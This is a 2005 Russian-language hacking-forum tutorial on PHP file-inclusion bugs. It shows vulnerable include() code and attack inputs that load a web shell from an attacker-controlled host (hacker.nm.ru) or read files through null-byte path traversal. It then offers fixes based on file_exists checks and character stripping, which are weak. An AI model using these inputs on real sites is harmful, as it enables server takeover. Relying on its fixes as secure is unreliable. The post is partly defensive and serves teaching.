ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

php injection
  #1  
Старый 25.12.2005, 00:47
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию php injection

Дело было вечером, делать было нечего… А сидеть в мирке с укуреными было неохота как-то… Вот решил построчить немного. Знаю что подобных статей, больше чем мне дней, но все же, свое это свое.
Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:
PHP код:
<?
..
Include (
"$page.php");

?>
Программист сайта видимо надеялся на то, что в мире нет плохих юзверей, которые пройдут его сайт мимо. Но зря он надеялся. Наверное, каждый из нас, как увидит ссылку типа index.php?page=shop
Сразу вместо shop пишет dsdsds и смотрит на результат.Он будет примерно таким:
Цитата:
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3

Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3

Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Ура. Это и есть инлуд. Давайте подставим вместо dsdsds ссылку на наш сайт с шеллом, например http://hacker.nm.ru/shell (Важно! Без расширения на конце!) и о чудо, мы только что получили веб-шелл.
Идем дальше, есть код типа:
PHP код:
<?
..
Include (
"files/$page.htm");

?>
:. Получается уже локальный инлкуд… Максимум, что мы добьемся - это просмотр файлов на сервере. Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается.
Третий тип:
PHP код:
<?
..
Include (
"$patch/folder/page.php");

?>
Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
И о чудо, мы снова видим там свой шелл :

Теперь, как избежать этого.
Случай первый:
PHP код:
<?
..
if (
file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include (
"$page.php");
}
Else 
//Есле…
{
Echo 
"Error!";
}

?>
Случай второй:
PHP код:
<?
..
$page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
if (file_exists("files/$page.htm "))
{
Include (
"files/$page.htm");
}
Else
{
Echo 
"error";
}

?>
Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
PHP код:
<?

$patch
=str_replace("/","",$patch);  // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);

if (
file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
{
Include (
"$patch/folder/page.php");
}
Else
{
Echo 
"Error!";
}

?>
Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Использование бага PHP source injection k00p3r Чужие Статьи 0 13.06.2005 14:16
PHP Injection :: Возможно все! k00p3r Чужие Статьи 0 13.06.2005 14:10
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ